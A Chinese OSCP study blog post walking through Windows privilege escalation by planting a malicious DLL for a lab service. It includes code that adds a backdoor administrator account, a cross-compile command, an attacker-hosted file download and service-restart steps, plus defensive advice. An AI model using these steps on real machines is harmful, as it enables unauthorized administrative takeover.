⓫⁄₁₀ ⟦ OSCP ⬖ 研记 ⟧ Windows权限提升 ➱ 动态链接库(dll)文件劫持(下)

**郑重声明:**本文所涉安全技术仅限用于合法研究与学习目的,严禁任何形式的非法利用。因不当使用所导致的一切法律与经济责任,本人概不负责。任何形式的转载均须明确标注原文出处,且不得用于商业目的。

🔋 点赞 | 能量注入 ❤️ 关注 | 信号锁定 🔔 收藏 | 数据归档 ⭐️ 评论| 保持连接💬

🌌 立即前往 👉晖度丨安全视界🚀​

​​​​

▶ 信息收集

▶ 漏洞检测
初始立足点

权限提升 ➢ Windows权限提升 ➢ 动态链接库(dll)文件劫持(下) 🔥🔥🔥
横向移动

▶ 报告/分析

▶ 教训/修复

目录

1.Windows权限提升

[1.1 Windows服务DLL劫持攻击](#1.1 Windows服务DLL劫持攻击)

[1.1.3 利用缺失DLL的服务劫持攻击实践](#1.1.3 利用缺失DLL的服务劫持攻击实践)

[1.1.3.3 恶意DLL创建与部署](#1.1.3.3 恶意DLL创建与部署)

1.附加DLL的DllMain函数概述

2.查看附件DLL代码

3.复用前文的恶意二进制文件的C代码

4.在附加DLL代码中插入恶意二进制文件的C代码

5.编译与部署dll文件

[1.1.3.4 再次重启BetaService服务(执行DLL文件)](#1.1.3.4 再次重启BetaService服务(执行DLL文件))

[1.1.4 DLL劫持提权攻击总结](#1.1.4 DLL劫持提权攻击总结)

[欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论](#欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论)


1.Windows权限提升

在渗透测试中,我们通常以非特权用户 身份获得初始立足点。但为了深入探测(如搜索敏感信息、提取密码哈希等),往往需要提升至管理员权限( 比如:使用Mimikatz提取密码哈希**),** 这个过程就是特权提升

📊 权限提升三大路径: 本文开始介绍:++动态链接库(dll)文件劫持++。

阶段 目标 关键方法
1. 枚举Windows 获取系统情报 手动搜索 + 自动化工具
2. 滥用Windows服务 攻击服务漏洞 服务配置缺陷、权限滥用
3. 利用其他组件 扩大攻击面 计划任务、系统漏洞利用

1.1 Windows服务DLL劫持攻击

"替换服务的二进制文件 "是尝试在Windows系统上提升权限的一种非常有效的方法。然而,由于普通用户通常没有权限替换这些二进制文件时,需要采用更高级的方式来利用Windows服务。

1.1.3 利用缺失DLL的服务劫持攻击实践

接前文。

1.1.3.3 恶意DLL创建与部署
1.附加DLL的DllMain函数概述

在创建DLL之前,简要回顾一下附加DLL的工作原理以及它如何引导我们执行代码。

每个DLL都有一个名为DlIMain的可选入口点函数,该函数在进程或线程附加DLL时执行。简而言之,**DIMain是DLL的"启动函数",**它用于执行 DLL加载时需要的初始化工作。

DllMain函数 通常处理++DLL加载、初始化和清理++的任务。、

当DLL被进程或线程 附加(ATTACH )/分离(DETACH)时,操作系统会自动调用此函数。

在DIlMain函数中,会看到四种常见的事件处理情况,通常通过switch或if语句来区分:

🔄 四种事件处理类型:

事件类型 触发时机 主要用途 攻击利用价值
DLL_PROCESS_ATTACH 进程首次加载DLL时 全局资源初始化 ⭐⭐⭐ 主要攻击入口
DLL_THREAD_ATTACH 新线程加载该DLL时 线程特定资源初始化 ⭐⭐ 潜在攻击点
DLL_THREAD_DETACH 线程卸载DLL时 线程资源清理 ⭐ 清理痕迹
DLL_PROCESS_DETACH 进程卸载DLL时 全局资源清理 ⭐ 后期操作

🎯 攻击利用重点:

DLL_PROCESS_ATTACH是攻击者最关注的入口点,在DLL被加载时自动执行恶意代码。因为:

  1. 自动执行:DLL被加载时立即自动运行

  2. 隐蔽性强:正常的初始化过程不易被怀疑

  3. 权限继承:以加载进程的权限执行代码

⚠️ 若无DllMain的情况:

如果DLL文件不提供DIMain入口点函数,那么:

  • 仅作为资源库:提供函数、数据供调用

  • 无自动执行代码:加载/卸载时不执行任何特定任务

  • 被动存在:完全由调用方控制使用时机


2.查看附件DLL代码

下面的示例代码来自Microsoft,概述一个包含这四种情况的基本C++ DLL。DLL代码包含了入口点函数DllMain和之前提到的这四种情况的switch语句。根据ul_reason_for_call的值,执行其中一种情况。目前,所有情况都只使用了break语句。

Microsoft提供的注释说明:DLL_PROCESS_ATTACH用于在进程加载DLL时使用。由于示例中的目标服务二进制进程尝试加载DLL,这里就是我们需要添加代码地方了

3.复用前文 的恶意二进制文件的C代码

前文中,构建恶意二进制文件的C代码在此可复用,并将其添加到C++ DLL代码中。重述C代码作用:使用system函数创建一个名为dave2的用户,并将该用户添加到本地管理员组中。

cpp 复制代码
// 复用的提权代码
system("net user dave2 Password123! /add");
system("net localgroup administrators dave2 /add");
**4.**在附加DLL代码中插入恶意二进制文件的C代码

📝 头文件添加

头文件 作用 必要性
windows.h 提供Windows API和数据类型(如BOOL) 🔴 必需,否则编译失败
stdlib.h 提供system()函数支持 🟢 可选但推荐,确保代码清晰

代码作用: 在BetaService服务启动时调用入口函数DLLMain ,在进程或线程附加DLL时调用,被加载到内存中时执行恶意代码**(添加管理员用户)。**


5.编译与部署dll文件

📊 操作步骤表:

步骤 命令/操作 目的
1. 编译DLL x86_64-w64-mingw32-gcc myDLL.cpp --shared -o myDLL.dll 生成64位Windows DLL
2. 启动传输服务 Kali:python3 -m http.server 80 建立文件下载点
3. 目标机下载 PowerShell:iwr http://<IP>/myDLL.dll -OutFile myDLL.dll 获取恶意DLL
4. 精准放置 存放到C:\Users\steve\Documents\ DLL搜索顺序第1位
5. 前置验证 net user dave2 确认目标用户不存在

①编译为.dll文件

bash 复制代码
$ x86_64-w64-mingw32-gcc myDLL.cpp --shared -o myDLL.dll

🎯 关键编译参数解析

参数 作用 重要性
--shared 生成**共享库(DLL)**而非可执行文件 🔑 核心参数
-o myDLL.dll 指定输出文件名,与缺失DLL同名 🎯 攻击必要条件
x86_64-w64-mingw32-gcc 针对64位Windows的交叉编译器 🖥️ 环境适配
myDLL.cpp 待编译的源代码文件。 myDLL.cpp是C++源代码文件,即:上面的代码。 🚀 源代码文件

②把编译的新myDLL.dll传输到目标主机

将myDLL.dll其传输到目标主机CLIENTWK220上。详见上表的步骤2、3。

注意:上表的步骤4、5。

1.把新myDLL.dll放在C:\Users\steve\Documents路径下(DLL搜索顺序1)

2.此外,使用net user命令确认系统上尚不存在dave2。


1.1.3.4 再次重启BetaService服务(执行DLL文件)

🔄 攻击触发流程:

让重新启动BetaService服务,DLL被加载到进程中,并且在DLL_PROCESS_ATTACH中执行代码:创建用户dave2作为本地Administrators 组成员。

验证项目 预期结果 实际结果 状态
DLL加载 myDLL.dll被BetaService加载 ✅ 搜索到并加载了恶意DLL ✔️ 成功
代码执行 DLL_PROCESS_ATTACH中代码执行 ✅ 创建用户dave2的命令执行 ✔️ 成功
权限提升 dave2加入Administrators组 ✅ dave2成为管理员成员 ✔️ 成功
攻击链完整 服务重启触发整个攻击流程 ✅ 全部按计划完成 🎉 完全成功

📍 放置位置策略

"第一搜索路径 + 用户可写权限 = 最高成功率"

  • 路径优先级应用程序目录(第1位)→ 确保最先被加载

  • 权限优势 :steve用户对该目录拥有完全控制权

  • 隐蔽性:放置在用户文档目录,不易引起怀疑


1.1.4 DLL劫持提权攻击总结

攻击步骤 关键发现/操作 结果/影响
🔍 侦察分析 使用Process Monitor发现BetaService尝试加载myDLL.dll 确认DLL缺失漏洞存在
🗺️ 路径分析 服务二进制位于C:\Users\steve\Documents\,这是DLL搜索顺序第一位 确认该目录用户可写,具备攻击条件
🛠️ 武器制作 编译恶意DLL并命名为myDLL.dll,植入DLL_PROCESS_ATTACH提权代码 创建自动执行的恶意载荷
📂 文件部署 将恶意DLL放置于C:\Users\steve\Documents\myDLL.dll 确保服务重启时优先加载恶意DLL
🔄 触发执行 重启BetaService服务,触发DLL加载流程 恶意代码以服务权限(SYSTEM)执行
🎯 权限提升 恶意代码创建用户dave2并加入本地管理员组 成功获得管理员权限,实现权限提升

💎 核心攻击链

bash 复制代码
发现缺失DLL → 分析可写优先路径 → 制作同名恶意DLL → 放置到搜索路径 → 重启服务触发 → 获得管理员权限

⚠️ 安全启示

  • 服务依赖管理 :确保服务安装完整,避免缺失DLL

  • 文件权限控制:严格限制用户对应用程序目录的写入权限

  • DLL加载监控:监控服务加载非系统目录DLL的行为

  • 最小权限原则:服务账户避免使用SYSTEM等高权限账户


欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论

每一份支持,都是我持续输出的光。

相关推荐
罗马尼亚硬拉2 小时前
tensile/reference/environment-variables
人工智能·windows·深度学习
cyhty10 小时前
静态路由实验报告
网络·网络安全
程序员徐师兄10 小时前
Windows JDK11 下载安装教程,适合新手
java·windows·jdk11 下载安装·jdk11 下载教程
编码者卢布14 小时前
【App Service】Java应用上传文件功能部署在App Service Windows上报错 413 Payload Too Large
java·开发语言·windows
多来哈米16 小时前
openclaw在Windows部署
windows·openclaw
视觉AI16 小时前
【踩坑实录】Windows ICS 共享网络下,国产化盒子 SSH 连接异常的完整分析
网络·windows·ssh
qq_2466461920 小时前
openclaw快速安装-windows版
windows·stm32·单片机
sonrisa_20 小时前
Python同一类不同方法中变量值的传递
开发语言·windows·python
世界尽头与你20 小时前
(修复方案)CVE-2023-26111: node-static 路径遍历漏洞
安全·网络安全·渗透测试